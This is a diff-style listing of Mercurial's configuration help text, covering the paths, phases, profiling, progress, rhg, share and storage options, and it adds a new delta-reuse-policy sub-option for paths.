1858 controls how much context the patcher is allowed to ignore when
1859 trying to apply a patch.
1859 trying to apply a patch.
1860 (default: 2)
1860 (default: 2)
1861
1861
1862 ``paths``
1862 ``paths``
1863 ---------
1863 ---------
1864
1864
1865 Assigns symbolic names and behavior to repositories.
1865 Assigns symbolic names and behavior to repositories.
1866
1866
1867 Options are symbolic names defining the URL or directory that is the
1867 Options are symbolic names defining the URL or directory that is the
1868 location of the repository. Example::
1868 location of the repository. Example::
1869
1869
1870 [paths]
1870 [paths]
1871 my_server = https://example.com/my_repo
1871 my_server = https://example.com/my_repo
1872 local_path = /home/me/repo
1872 local_path = /home/me/repo
1873
1873
1874 These symbolic names can be used from the command line. To pull
1874 These symbolic names can be used from the command line. To pull
1875 from ``my_server``: :hg:`pull my_server`. To push to ``local_path``:
1875 from ``my_server``: :hg:`pull my_server`. To push to ``local_path``:
1876 :hg:`push local_path`. You can check :hg:`help urls` for details about
1876 :hg:`push local_path`. You can check :hg:`help urls` for details about
1877 valid URLs.
1877 valid URLs.
1878
1878
1879 Options containing colons (``:``) denote sub-options that can influence
1879 Options containing colons (``:``) denote sub-options that can influence
1880 behavior for that specific path. Example::
1880 behavior for that specific path. Example::
1881
1881
1882 [paths]
1882 [paths]
1883 my_server = https://example.com/my_path
1883 my_server = https://example.com/my_path
1884 my_server:pushurl = ssh://example.com/my_path
1884 my_server:pushurl = ssh://example.com/my_path
1885
1885
1886 Paths using the `path://otherpath` scheme will inherit the sub-options value from
1886 Paths using the `path://otherpath` scheme will inherit the sub-options value from
1887 the path they point to.
1887 the path they point to.
1888
1888
1889 The following sub-options can be defined:
1889 The following sub-options can be defined:
1890
1890
1891 ``multi-urls``
1891 ``multi-urls``
1892 A boolean option. When enabled the value of the `[paths]` entry will be
1892 A boolean option. When enabled the value of the `[paths]` entry will be
1893 parsed as a list and the alias will resolve to multiple destination. If some
1893 parsed as a list and the alias will resolve to multiple destination. If some
1894 of the list entry use the `path://` syntax, the suboption will be inherited
1894 of the list entry use the `path://` syntax, the suboption will be inherited
1895 individually.
1895 individually.
1896
1896
1897 ``pushurl``
1897 ``pushurl``
1898 The URL to use for push operations. If not defined, the location
1898 The URL to use for push operations. If not defined, the location
1899 defined by the path's main entry is used.
1899 defined by the path's main entry is used.
1900
1900
1901 ``pushrev``
1901 ``pushrev``
1902 A revset defining which revisions to push by default.
1902 A revset defining which revisions to push by default.
1903
1903
1904 When :hg:`push` is executed without a ``-r`` argument, the revset
1904 When :hg:`push` is executed without a ``-r`` argument, the revset
1905 defined by this sub-option is evaluated to determine what to push.
1905 defined by this sub-option is evaluated to determine what to push.
1906
1906
1907 For example, a value of ``.`` will push the working directory's
1907 For example, a value of ``.`` will push the working directory's
1908 revision by default.
1908 revision by default.
1909
1909
1910 Revsets specifying bookmarks will not result in the bookmark being
1910 Revsets specifying bookmarks will not result in the bookmark being
1911 pushed.
1911 pushed.
1912
1912
1913 ``bookmarks.mode``
1913 ``bookmarks.mode``
1914 How bookmark will be dealt during the exchange. It support the following value
1914 How bookmark will be dealt during the exchange. It support the following value
1915
1915
1916 - ``default``: the default behavior, local and remote bookmarks are "merged"
1916 - ``default``: the default behavior, local and remote bookmarks are "merged"
1917 on push/pull.
1917 on push/pull.
1918
1918
1919 - ``mirror``: when pulling, replace local bookmarks by remote bookmarks. This
1919 - ``mirror``: when pulling, replace local bookmarks by remote bookmarks. This
1920 is useful to replicate a repository, or as an optimization.
1920 is useful to replicate a repository, or as an optimization.
1921
1921
1922 - ``ignore``: ignore bookmarks during exchange.
1922 - ``ignore``: ignore bookmarks during exchange.
1923 (This currently only affect pulling)
1923 (This currently only affect pulling)
1924
1924
1925 .. container:: verbose
1926
1927 ``delta-reuse-policy``
1928 Control the policy regarding deltas sent by the remote during pulls.
1929
1930 This is an advanced option that non-admin users should not need to understand
1931 or set. This option can be used to speed up pulls from trusted central
1932 servers, or to fix-up deltas from older servers.
1933
1934 It supports the following values:
1935
1936 - ``default``: use the policy defined by
1937 `storage.revlog.reuse-external-delta-parent`,
1938
1939 - ``no-reuse``: start a new optimal delta search for each new revision we add
1940 to the repository. The deltas from the server will be reused when the base
1941 it applies to is tested (this can be frequent if that base is the one and
1942 unique parent of that revision). This can significantly slowdown pulls but
1943 will result in an optimized storage space if the remote peer is sending poor
1944 quality deltas.
1945
1946 - ``try-base``: try to reuse the deltas from the remote peer as long as they
1947 create a valid delta-chain in the local repository. This speeds up the
1948 unbundling process, but can result in sub-optimal storage space if the
1949 remote peer is sending poor quality deltas.
1950
1951 See `hg help config.storage.revlog.reuse-external-delta-parent` for a similar
1952 global option. That option defines the behavior of `default`.
1953
1925 The following special named paths exist:
1954 The following special named paths exist:
1926
1955
1927 ``default``
1956 ``default``
1928 The URL or directory to use when no source or remote is specified.
1957 The URL or directory to use when no source or remote is specified.
1929
1958
1930 :hg:`clone` will automatically define this path to the location the
1959 :hg:`clone` will automatically define this path to the location the
1931 repository was cloned from.
1960 repository was cloned from.
1932
1961
1933 ``default-push``
1962 ``default-push``
1934 (deprecated) The URL or directory for the default :hg:`push` location.
1963 (deprecated) The URL or directory for the default :hg:`push` location.
1935 ``default:pushurl`` should be used instead.
1964 ``default:pushurl`` should be used instead.
1936
1965
1937 ``phases``
1966 ``phases``
1938 ----------
1967 ----------
1939
1968
1940 Specifies default handling of phases. See :hg:`help phases` for more
1969 Specifies default handling of phases. See :hg:`help phases` for more
1941 information about working with phases.
1970 information about working with phases.
1942
1971
1943 ``publish``
1972 ``publish``
1944 Controls draft phase behavior when working as a server. When true,
1973 Controls draft phase behavior when working as a server. When true,
1945 pushed changesets are set to public in both client and server and
1974 pushed changesets are set to public in both client and server and
1946 pulled or cloned changesets are set to public in the client.
1975 pulled or cloned changesets are set to public in the client.
1947 (default: True)
1976 (default: True)
1948
1977
1949 ``new-commit``
1978 ``new-commit``
1950 Phase of newly-created commits.
1979 Phase of newly-created commits.
1951 (default: draft)
1980 (default: draft)
1952
1981
1953 ``checksubrepos``
1982 ``checksubrepos``
1954 Check the phase of the current revision of each subrepository. Allowed
1983 Check the phase of the current revision of each subrepository. Allowed
1955 values are "ignore", "follow" and "abort". For settings other than
1984 values are "ignore", "follow" and "abort". For settings other than
1956 "ignore", the phase of the current revision of each subrepository is
1985 "ignore", the phase of the current revision of each subrepository is
1957 checked before committing the parent repository. If any of those phases is
1986 checked before committing the parent repository. If any of those phases is
1958 greater than the phase of the parent repository (e.g. if a subrepo is in a
1987 greater than the phase of the parent repository (e.g. if a subrepo is in a
1959 "secret" phase while the parent repo is in "draft" phase), the commit is
1988 "secret" phase while the parent repo is in "draft" phase), the commit is
1960 either aborted (if checksubrepos is set to "abort") or the higher phase is
1989 either aborted (if checksubrepos is set to "abort") or the higher phase is
1961 used for the parent repository commit (if set to "follow").
1990 used for the parent repository commit (if set to "follow").
1962 (default: follow)
1991 (default: follow)
1963
1992
1964
1993
1965 ``profiling``
1994 ``profiling``
1966 -------------
1995 -------------
1967
1996
1968 Specifies profiling type, format, and file output. Two profilers are
1997 Specifies profiling type, format, and file output. Two profilers are
1969 supported: an instrumenting profiler (named ``ls``), and a sampling
1998 supported: an instrumenting profiler (named ``ls``), and a sampling
1970 profiler (named ``stat``).
1999 profiler (named ``stat``).
1971
2000
1972 In this section description, 'profiling data' stands for the raw data
2001 In this section description, 'profiling data' stands for the raw data
1973 collected during profiling, while 'profiling report' stands for a
2002 collected during profiling, while 'profiling report' stands for a
1974 statistical text report generated from the profiling data.
2003 statistical text report generated from the profiling data.
1975
2004
1976 ``enabled``
2005 ``enabled``
1977 Enable the profiler.
2006 Enable the profiler.
1978 (default: false)
2007 (default: false)
1979
2008
1980 This is equivalent to passing ``--profile`` on the command line.
2009 This is equivalent to passing ``--profile`` on the command line.
1981
2010
1982 ``type``
2011 ``type``
1983 The type of profiler to use.
2012 The type of profiler to use.
1984 (default: stat)
2013 (default: stat)
1985
2014
1986 ``ls``
2015 ``ls``
1987 Use Python's built-in instrumenting profiler. This profiler
2016 Use Python's built-in instrumenting profiler. This profiler
1988 works on all platforms, but each line number it reports is the
2017 works on all platforms, but each line number it reports is the
1989 first line of a function. This restriction makes it difficult to
2018 first line of a function. This restriction makes it difficult to
1990 identify the expensive parts of a non-trivial function.
2019 identify the expensive parts of a non-trivial function.
1991 ``stat``
2020 ``stat``
1992 Use a statistical profiler, statprof. This profiler is most
2021 Use a statistical profiler, statprof. This profiler is most
1993 useful for profiling commands that run for longer than about 0.1
2022 useful for profiling commands that run for longer than about 0.1
1994 seconds.
2023 seconds.
1995
2024
1996 ``format``
2025 ``format``
1997 Profiling format. Specific to the ``ls`` instrumenting profiler.
2026 Profiling format. Specific to the ``ls`` instrumenting profiler.
1998 (default: text)
2027 (default: text)
1999
2028
2000 ``text``
2029 ``text``
2001 Generate a profiling report. When saving to a file, it should be
2030 Generate a profiling report. When saving to a file, it should be
2002 noted that only the report is saved, and the profiling data is
2031 noted that only the report is saved, and the profiling data is
2003 not kept.
2032 not kept.
2004 ``kcachegrind``
2033 ``kcachegrind``
2005 Format profiling data for kcachegrind use: when saving to a
2034 Format profiling data for kcachegrind use: when saving to a
2006 file, the generated file can directly be loaded into
2035 file, the generated file can directly be loaded into
2007 kcachegrind.
2036 kcachegrind.
2008
2037
2009 ``statformat``
2038 ``statformat``
2010 Profiling format for the ``stat`` profiler.
2039 Profiling format for the ``stat`` profiler.
2011 (default: hotpath)
2040 (default: hotpath)
2012
2041
2013 ``hotpath``
2042 ``hotpath``
2014 Show a tree-based display containing the hot path of execution (where
2043 Show a tree-based display containing the hot path of execution (where
2015 most time was spent).
2044 most time was spent).
2016 ``bymethod``
2045 ``bymethod``
2017 Show a table of methods ordered by how frequently they are active.
2046 Show a table of methods ordered by how frequently they are active.
2018 ``byline``
2047 ``byline``
2019 Show a table of lines in files ordered by how frequently they are active.
2048 Show a table of lines in files ordered by how frequently they are active.
2020 ``json``
2049 ``json``
2021 Render profiling data as JSON.
2050 Render profiling data as JSON.
2022
2051
2023 ``freq``
2052 ``freq``
2024 Sampling frequency. Specific to the ``stat`` sampling profiler.
2053 Sampling frequency. Specific to the ``stat`` sampling profiler.
2025 (default: 1000)
2054 (default: 1000)
2026
2055
2027 ``output``
2056 ``output``
2028 File path where profiling data or report should be saved. If the
2057 File path where profiling data or report should be saved. If the
2029 file exists, it is replaced. (default: None, data is printed on
2058 file exists, it is replaced. (default: None, data is printed on
2030 stderr)
2059 stderr)
2031
2060
2032 ``sort``
2061 ``sort``
2033 Sort field. Specific to the ``ls`` instrumenting profiler.
2062 Sort field. Specific to the ``ls`` instrumenting profiler.
2034 One of ``callcount``, ``reccallcount``, ``totaltime`` and
2063 One of ``callcount``, ``reccallcount``, ``totaltime`` and
2035 ``inlinetime``.
2064 ``inlinetime``.
2036 (default: inlinetime)
2065 (default: inlinetime)
2037
2066
2038 ``time-track``
2067 ``time-track``
2039 Control if the stat profiler track ``cpu`` or ``real`` time.
2068 Control if the stat profiler track ``cpu`` or ``real`` time.
2040 (default: ``cpu`` on Windows, otherwise ``real``)
2069 (default: ``cpu`` on Windows, otherwise ``real``)
2041
2070
2042 ``limit``
2071 ``limit``
2043 Number of lines to show. Specific to the ``ls`` instrumenting profiler.
2072 Number of lines to show. Specific to the ``ls`` instrumenting profiler.
2044 (default: 30)
2073 (default: 30)
2045
2074
2046 ``nested``
2075 ``nested``
2047 Show at most this number of lines of drill-down info after each main entry.
2076 Show at most this number of lines of drill-down info after each main entry.
2048 This can help explain the difference between Total and Inline.
2077 This can help explain the difference between Total and Inline.
2049 Specific to the ``ls`` instrumenting profiler.
2078 Specific to the ``ls`` instrumenting profiler.
2050 (default: 0)
2079 (default: 0)
2051
2080
2052 ``showmin``
2081 ``showmin``
2053 Minimum fraction of samples an entry must have for it to be displayed.
2082 Minimum fraction of samples an entry must have for it to be displayed.
2054 Can be specified as a float between ``0.0`` and ``1.0`` or can have a
2083 Can be specified as a float between ``0.0`` and ``1.0`` or can have a
2055 ``%`` afterwards to allow values up to ``100``. e.g. ``5%``.
2084 ``%`` afterwards to allow values up to ``100``. e.g. ``5%``.
2056
2085
2057 Only used by the ``stat`` profiler.
2086 Only used by the ``stat`` profiler.
2058
2087
2059 For the ``hotpath`` format, default is ``0.05``.
2088 For the ``hotpath`` format, default is ``0.05``.
2060 For the ``chrome`` format, default is ``0.005``.
2089 For the ``chrome`` format, default is ``0.005``.
2061
2090
2062 The option is unused on other formats.
2091 The option is unused on other formats.
2063
2092
2064 ``showmax``
2093 ``showmax``
2065 Maximum fraction of samples an entry can have before it is ignored in
2094 Maximum fraction of samples an entry can have before it is ignored in
2066 display. Values format is the same as ``showmin``.
2095 display. Values format is the same as ``showmin``.
2067
2096
2068 Only used by the ``stat`` profiler.
2097 Only used by the ``stat`` profiler.
2069
2098
2070 For the ``chrome`` format, default is ``0.999``.
2099 For the ``chrome`` format, default is ``0.999``.
2071
2100
2072 The option is unused on other formats.
2101 The option is unused on other formats.
2073
2102
2074 ``showtime``
2103 ``showtime``
2075 Show time taken as absolute durations, in addition to percentages.
2104 Show time taken as absolute durations, in addition to percentages.
2076 Only used by the ``hotpath`` format.
2105 Only used by the ``hotpath`` format.
2077 (default: true)
2106 (default: true)
2078
2107
2079 ``progress``
2108 ``progress``
2080 ------------
2109 ------------
2081
2110
2082 Mercurial commands can draw progress bars that are as informative as
2111 Mercurial commands can draw progress bars that are as informative as
2083 possible. Some progress bars only offer indeterminate information, while others
2112 possible. Some progress bars only offer indeterminate information, while others
2084 have a definite end point.
2113 have a definite end point.
2085
2114
2086 ``debug``
2115 ``debug``
2087 Whether to print debug info when updating the progress bar. (default: False)
2116 Whether to print debug info when updating the progress bar. (default: False)
2088
2117
2089 ``delay``
2118 ``delay``
2090 Number of seconds (float) before showing the progress bar. (default: 3)
2119 Number of seconds (float) before showing the progress bar. (default: 3)
2091
2120
2092 ``changedelay``
2121 ``changedelay``
2093 Minimum delay before showing a new topic. When set to less than 3 * refresh,
2122 Minimum delay before showing a new topic. When set to less than 3 * refresh,
2094 that value will be used instead. (default: 1)
2123 that value will be used instead. (default: 1)
2095
2124
2096 ``estimateinterval``
2125 ``estimateinterval``
2097 Maximum sampling interval in seconds for speed and estimated time
2126 Maximum sampling interval in seconds for speed and estimated time
2098 calculation. (default: 60)
2127 calculation. (default: 60)
2099
2128
2100 ``refresh``
2129 ``refresh``
2101 Time in seconds between refreshes of the progress bar. (default: 0.1)
2130 Time in seconds between refreshes of the progress bar. (default: 0.1)
2102
2131
2103 ``format``
2132 ``format``
2104 Format of the progress bar.
2133 Format of the progress bar.
2105
2134
2106 Valid entries for the format field are ``topic``, ``bar``, ``number``,
2135 Valid entries for the format field are ``topic``, ``bar``, ``number``,
2107 ``unit``, ``estimate``, ``speed``, and ``item``. ``item`` defaults to the
2136 ``unit``, ``estimate``, ``speed``, and ``item``. ``item`` defaults to the
2108 last 20 characters of the item, but this can be changed by adding either
2137 last 20 characters of the item, but this can be changed by adding either
2109 ``-<num>`` which would take the last num characters, or ``+<num>`` for the
2138 ``-<num>`` which would take the last num characters, or ``+<num>`` for the
2110 first num characters.
2139 first num characters.
2111
2140
2112 (default: topic bar number estimate)
2141 (default: topic bar number estimate)
2113
2142
2114 ``width``
2143 ``width``
2115 If set, the maximum width of the progress information (that is, min(width,
2144 If set, the maximum width of the progress information (that is, min(width,
2116 term width) will be used).
2145 term width) will be used).
2117
2146
2118 ``clear-complete``
2147 ``clear-complete``
2119 Clear the progress bar after it's done. (default: True)
2148 Clear the progress bar after it's done. (default: True)
2120
2149
2121 ``disable``
2150 ``disable``
2122 If true, don't show a progress bar.
2151 If true, don't show a progress bar.
2123
2152
2124 ``assume-tty``
2153 ``assume-tty``
2125 If true, ALWAYS show a progress bar, unless disable is given.
2154 If true, ALWAYS show a progress bar, unless disable is given.
2126
2155
2127 ``rebase``
2156 ``rebase``
2128 ----------
2157 ----------
2129
2158
2130 ``evolution.allowdivergence``
2159 ``evolution.allowdivergence``
2131 Default to False, when True allow creating divergence when performing
2160 Default to False, when True allow creating divergence when performing
2132 rebase of obsolete changesets.
2161 rebase of obsolete changesets.
2133
2162
2134 ``revsetalias``
2163 ``revsetalias``
2135 ---------------
2164 ---------------
2136
2165
2137 Alias definitions for revsets. See :hg:`help revsets` for details.
2166 Alias definitions for revsets. See :hg:`help revsets` for details.
2138
2167
2139 ``rewrite``
2168 ``rewrite``
2140 -----------
2169 -----------
2141
2170
2142 ``backup-bundle``
2171 ``backup-bundle``
2143 Whether to save stripped changesets to a bundle file. (default: True)
2172 Whether to save stripped changesets to a bundle file. (default: True)
2144
2173
2145 ``update-timestamp``
2174 ``update-timestamp``
2146 If true, updates the date and time of the changeset to current. It is only
2175 If true, updates the date and time of the changeset to current. It is only
2147 applicable for `hg amend`, `hg commit --amend` and `hg uncommit` in the
2176 applicable for `hg amend`, `hg commit --amend` and `hg uncommit` in the
2148 current version.
2177 current version.
2149
2178
2150 ``empty-successor``
2179 ``empty-successor``
2151
2180
2152 Control what happens with empty successors that are the result of rewrite
2181 Control what happens with empty successors that are the result of rewrite
2153 operations. If set to ``skip``, the successor is not created. If set to
2182 operations. If set to ``skip``, the successor is not created. If set to
2154 ``keep``, the empty successor is created and kept.
2183 ``keep``, the empty successor is created and kept.
2155
2184
2156 Currently, only the rebase and absorb commands consider this configuration.
2185 Currently, only the rebase and absorb commands consider this configuration.
2157 (EXPERIMENTAL)
2186 (EXPERIMENTAL)
2158
2187
2159 ``rhg``
2188 ``rhg``
2160 -------
2189 -------
2161
2190
2162 The pure Rust fast-path for Mercurial. See `rust/README.rst` in the Mercurial repository.
2191 The pure Rust fast-path for Mercurial. See `rust/README.rst` in the Mercurial repository.
2163
2192
2164 ``fallback-executable``
2193 ``fallback-executable``
2165 Path to the executable to run in a sub-process when falling back to
2194 Path to the executable to run in a sub-process when falling back to
2166 another implementation of Mercurial.
2195 another implementation of Mercurial.
2167
2196
2168 ``fallback-immediately``
2197 ``fallback-immediately``
2169 Fall back to ``fallback-executable`` as soon as possible, regardless of
2198 Fall back to ``fallback-executable`` as soon as possible, regardless of
2170 the `rhg.on-unsupported` configuration. Useful for debugging, for example to
2199 the `rhg.on-unsupported` configuration. Useful for debugging, for example to
2171 bypass `rhg` if the deault `hg` points to `rhg`.
2200 bypass `rhg` if the deault `hg` points to `rhg`.
2172
2201
2173 Note that because this requires loading the configuration, it is possible
2202 Note that because this requires loading the configuration, it is possible
2174 that `rhg` error out before being able to fall back.
2203 that `rhg` error out before being able to fall back.
2175
2204
2176 ``ignored-extensions``
2205 ``ignored-extensions``
2177 Controls which extensions should be ignored by `rhg`. By default, `rhg`
2206 Controls which extensions should be ignored by `rhg`. By default, `rhg`
2178 triggers the `rhg.on-unsupported` behavior any unsupported extensions.
2207 triggers the `rhg.on-unsupported` behavior any unsupported extensions.
2179 Users can disable that behavior when they know that a given extension
2208 Users can disable that behavior when they know that a given extension
2180 does not need support from `rhg`.
2209 does not need support from `rhg`.
2181
2210
2182 Expects a list of extension names, or ``*`` to ignore all extensions.
2211 Expects a list of extension names, or ``*`` to ignore all extensions.
2183
2212
2184 Note: ``*:<suboption>`` is also a valid extension name for this
2213 Note: ``*:<suboption>`` is also a valid extension name for this
2185 configuration option.
2214 configuration option.
2186 As of this writing, the only valid "global" suboption is ``required``.
2215 As of this writing, the only valid "global" suboption is ``required``.
2187
2216
2188 ``on-unsupported``
2217 ``on-unsupported``
2189 Controls the behavior of `rhg` when detecting unsupported features.
2218 Controls the behavior of `rhg` when detecting unsupported features.
2190
2219
2191 Possible values are `abort` (default), `abort-silent` and `fallback`.
2220 Possible values are `abort` (default), `abort-silent` and `fallback`.
2192
2221
2193 ``abort``
2222 ``abort``
2194 Print an error message describing what feature is not supported,
2223 Print an error message describing what feature is not supported,
2195 and exit with code 252
2224 and exit with code 252
2196
2225
2197 ``abort-silent``
2226 ``abort-silent``
2198 Silently exit with code 252
2227 Silently exit with code 252
2199
2228
2200 ``fallback``
2229 ``fallback``
2201 Try running the fallback executable with the same parameters
2230 Try running the fallback executable with the same parameters
2202 (and trace the fallback reason, use `RUST_LOG=trace` to see).
2231 (and trace the fallback reason, use `RUST_LOG=trace` to see).
2203
2232
2204 ``share``
2233 ``share``
2205 ---------
2234 ---------
2206
2235
2207 ``safe-mismatch.source-safe``
2236 ``safe-mismatch.source-safe``
2208 Controls what happens when the shared repository does not use the
2237 Controls what happens when the shared repository does not use the
2209 share-safe mechanism but its source repository does.
2238 share-safe mechanism but its source repository does.
2210
2239
2211 Possible values are `abort` (default), `allow`, `upgrade-abort` and
2240 Possible values are `abort` (default), `allow`, `upgrade-abort` and
2212 `upgrade-allow`.
2241 `upgrade-allow`.
2213
2242
2214 ``abort``
2243 ``abort``
2215 Disallows running any command and aborts
2244 Disallows running any command and aborts
2216 ``allow``
2245 ``allow``
2217 Respects the feature presence in the share source
2246 Respects the feature presence in the share source
2218 ``upgrade-abort``
2247 ``upgrade-abort``
2219 Tries to upgrade the share to use share-safe; if it fails, aborts
2248 Tries to upgrade the share to use share-safe; if it fails, aborts
2220 ``upgrade-allow``
2249 ``upgrade-allow``
2221 Tries to upgrade the share; if it fails, continue by
2250 Tries to upgrade the share; if it fails, continue by
2222 respecting the share source setting
2251 respecting the share source setting
2223
2252
2224 Check :hg:`help config.format.use-share-safe` for details about the
2253 Check :hg:`help config.format.use-share-safe` for details about the
2225 share-safe feature.
2254 share-safe feature.
2226
2255
2227 ``safe-mismatch.source-safe:verbose-upgrade``
2256 ``safe-mismatch.source-safe:verbose-upgrade``
2228 Display a message when upgrading, (default: True)
2257 Display a message when upgrading, (default: True)
2229
2258
2230 ``safe-mismatch.source-safe.warn``
2259 ``safe-mismatch.source-safe.warn``
2231 Shows a warning on operations if the shared repository does not use
2260 Shows a warning on operations if the shared repository does not use
2232 share-safe, but the source repository does.
2261 share-safe, but the source repository does.
2233 (default: True)
2262 (default: True)
2234
2263
2235 ``safe-mismatch.source-not-safe``
2264 ``safe-mismatch.source-not-safe``
2236 Controls what happens when the shared repository uses the share-safe
2265 Controls what happens when the shared repository uses the share-safe
2237 mechanism but its source does not.
2266 mechanism but its source does not.
2238
2267
2239 Possible values are `abort` (default), `allow`, `downgrade-abort` and
2268 Possible values are `abort` (default), `allow`, `downgrade-abort` and
2240 `downgrade-allow`.
2269 `downgrade-allow`.
2241
2270
2242 ``abort``
2271 ``abort``
2243 Disallows running any command and aborts
2272 Disallows running any command and aborts
2244 ``allow``
2273 ``allow``
2245 Respects the feature presence in the share source
2274 Respects the feature presence in the share source
2246 ``downgrade-abort``
2275 ``downgrade-abort``
2247 Tries to downgrade the share to not use share-safe; if it fails, aborts
2276 Tries to downgrade the share to not use share-safe; if it fails, aborts
2248 ``downgrade-allow``
2277 ``downgrade-allow``
2249 Tries to downgrade the share to not use share-safe;
2278 Tries to downgrade the share to not use share-safe;
2250 if it fails, continue by respecting the shared source setting
2279 if it fails, continue by respecting the shared source setting
2251
2280
2252 Check :hg:`help config.format.use-share-safe` for details about the
2281 Check :hg:`help config.format.use-share-safe` for details about the
2253 share-safe feature.
2282 share-safe feature.
2254
2283
2255 ``safe-mismatch.source-not-safe:verbose-upgrade``
2284 ``safe-mismatch.source-not-safe:verbose-upgrade``
2256 Display a message when upgrading, (default: True)
2285 Display a message when upgrading, (default: True)
2257
2286
2258 ``safe-mismatch.source-not-safe.warn``
2287 ``safe-mismatch.source-not-safe.warn``
2259 Shows a warning on operations if the shared repository uses share-safe,
2288 Shows a warning on operations if the shared repository uses share-safe,
2260 but the source repository does not.
2289 but the source repository does not.
2261 (default: True)
2290 (default: True)
2262
2291
2263 ``storage``
2292 ``storage``
2264 -----------
2293 -----------
2265
2294
2266 Control the strategy Mercurial uses internally to store history. Options in this
2295 Control the strategy Mercurial uses internally to store history. Options in this
2267 category impact performance and repository size.
2296 category impact performance and repository size.
2268
2297
2269 ``revlog.issue6528.fix-incoming``
2298 ``revlog.issue6528.fix-incoming``
2270 Version 5.8 of Mercurial had a bug leading to altering the parent of file
2299 Version 5.8 of Mercurial had a bug leading to altering the parent of file
2271 revision with copy information (or any other metadata) on exchange. This
2300 revision with copy information (or any other metadata) on exchange. This
2272 leads to the copy metadata to be overlooked by various internal logic. The
2301 leads to the copy metadata to be overlooked by various internal logic. The
2273 issue was fixed in Mercurial 5.8.1.
2302 issue was fixed in Mercurial 5.8.1.
2274 (See https://bz.mercurial-scm.org/show_bug.cgi?id=6528 for details)
2303 (See https://bz.mercurial-scm.org/show_bug.cgi?id=6528 for details)
2275
2304
2276 As a result Mercurial is now checking and fixing incoming file revisions to
2305 As a result Mercurial is now checking and fixing incoming file revisions to
2277 make sure there parents are in the right order. This behavior can be
2306 make sure there parents are in the right order. This behavior can be
2278 disabled by setting this option to `no`. This apply to revisions added
2307 disabled by setting this option to `no`. This apply to revisions added
2279 through push, pull, clone and unbundle.
2308 through push, pull, clone and unbundle.
2280
2309
2281 To fix affected revisions that already exist within the repository, one can
2310 To fix affected revisions that already exist within the repository, one can
2282 use :hg:`debug-repair-issue-6528`.
2311 use :hg:`debug-repair-issue-6528`.
2283
2312
2284 .. container:: verbose
2313 .. container:: verbose
2285
2314
2286 ``revlog.delta-parent-search.candidate-group-chunk-size``
2315 ``revlog.delta-parent-search.candidate-group-chunk-size``
2287 Tune the number of delta bases the storage will consider in the
2316 Tune the number of delta bases the storage will consider in the
2288 same "round" of search. In some very rare cases, using a smaller value
2317 same "round" of search. In some very rare cases, using a smaller value
2289 might result in faster processing at the possible expense of storage
2318 might result in faster processing at the possible expense of storage
2290 space, while using larger values might result in slower processing at the
2319 space, while using larger values might result in slower processing at the
2291 possible benefit of storage space. A value of "0" means no limitation.
2320 possible benefit of storage space. A value of "0" means no limitation.
2292
2321
2293 default: no limitation
2322 default: no limitation
2294
2323
2295 This is unlikely that you'll have to tune this configuration. If you think
2324 This is unlikely that you'll have to tune this configuration. If you think
2296 you do, consider talking with the mercurial developer community about your
2325 you do, consider talking with the mercurial developer community about your
2297 repositories.
2326 repositories.
2298
2327
2299 ``revlog.optimize-delta-parent-choice``
2328 ``revlog.optimize-delta-parent-choice``
2300 When storing a merge revision, both parents will be equally considered as
2329 When storing a merge revision, both parents will be equally considered as
2301 a possible delta base. This results in better delta selection and improved
2330 a possible delta base. This results in better delta selection and improved
2302 revlog compression. This option is enabled by default.
2331 revlog compression. This option is enabled by default.
2303
2332
2304 Turning this option off can result in large increase of repository size for
2333 Turning this option off can result in large increase of repository size for
2305 repository with many merges.
2334 repository with many merges.
2306
2335
2307 ``revlog.persistent-nodemap.mmap``
2336 ``revlog.persistent-nodemap.mmap``
2308 Whether to use the Operating System "memory mapping" feature (when
2337 Whether to use the Operating System "memory mapping" feature (when
2309 possible) to access the persistent nodemap data. This improve performance
2338 possible) to access the persistent nodemap data. This improve performance
2310 and reduce memory pressure.
2339 and reduce memory pressure.
2311
2340
2312 Default to True.
2341 Default to True.
2313
2342
2314 For details on the "persistent-nodemap" feature, see:
2343 For details on the "persistent-nodemap" feature, see:
2315 :hg:`help config.format.use-persistent-nodemap`.
2344 :hg:`help config.format.use-persistent-nodemap`.
2316
2345
2317 ``revlog.persistent-nodemap.slow-path``
2346 ``revlog.persistent-nodemap.slow-path``
2318 Control the behavior of Merucrial when using a repository with "persistent"
2347 Control the behavior of Merucrial when using a repository with "persistent"
2319 nodemap with an installation of Mercurial without a fast implementation for
2348 nodemap with an installation of Mercurial without a fast implementation for
2320 the feature:
2349 the feature:
2321
2350
2322 ``allow``: Silently use the slower implementation to access the repository.
2351 ``allow``: Silently use the slower implementation to access the repository.
2323 ``warn``: Warn, but use the slower implementation to access the repository.
2352 ``warn``: Warn, but use the slower implementation to access the repository.
2324 ``abort``: Prevent access to such repositories. (This is the default)
2353 ``abort``: Prevent access to such repositories. (This is the default)
2325
2354
2326 For details on the "persistent-nodemap" feature, see:
2355 For details on the "persistent-nodemap" feature, see:
2327 :hg:`help config.format.use-persistent-nodemap`.
2356 :hg:`help config.format.use-persistent-nodemap`.
2328
2357
2329 ``revlog.reuse-external-delta-parent``
2358 ``revlog.reuse-external-delta-parent``
2330 Control the order in which delta parents are considered when adding new
2359 Control the order in which delta parents are considered when adding new
2331 revisions from an external source.
2360 revisions from an external source.
2332 (typically: apply bundle from `hg pull` or `hg push`).
2361 (typically: apply bundle from `hg pull` or `hg push`).
2333
2362
2334 New revisions are usually provided as a delta against other revisions. By
2363 New revisions are usually provided as a delta against other revisions. By
2335 default, Mercurial will try to reuse this delta first, therefore using the
2364 default, Mercurial will try to reuse this delta first, therefore using the
2336 same "delta parent" as the source. Directly using delta's from the source
2365 same "delta parent" as the source. Directly using delta's from the source
2337 reduces CPU usage and usually speeds up operation. However, in some case,
2366 reduces CPU usage and usually speeds up operation. However, in some case,
2338 the source might have sub-optimal delta bases and forcing their reevaluation
2367 the source might have sub-optimal delta bases and forcing their reevaluation
2339 is useful. For example, pushes from an old client could have sub-optimal
2368 is useful. For example, pushes from an old client could have sub-optimal
2340 delta's parent that the server want to optimize. (lack of general delta, bad
2369 delta's parent that the server want to optimize. (lack of general delta, bad
2341 parents, choice, lack of sparse-revlog, etc).
2370 parents, choice, lack of sparse-revlog, etc).
2342
2371
2343 This option is enabled by default. Turning it off will ensure bad delta
2372 This option is enabled by default. Turning it off will ensure bad delta
2344 parent choices from older client do not propagate to this repository, at
2373 parent choices from older client do not propagate to this repository, at
2345 the cost of a small increase in CPU consumption.
2374 the cost of a small increase in CPU consumption.
2346
2375
2347 Note: this option only control the order in which delta parents are
2376 Note: this option only control the order in which delta parents are
2348 considered. Even when disabled, the existing delta from the source will be
2377 considered. Even when disabled, the existing delta from the source will be
2349 reused if the same delta parent is selected.
2378 reused if the same delta parent is selected.
2350
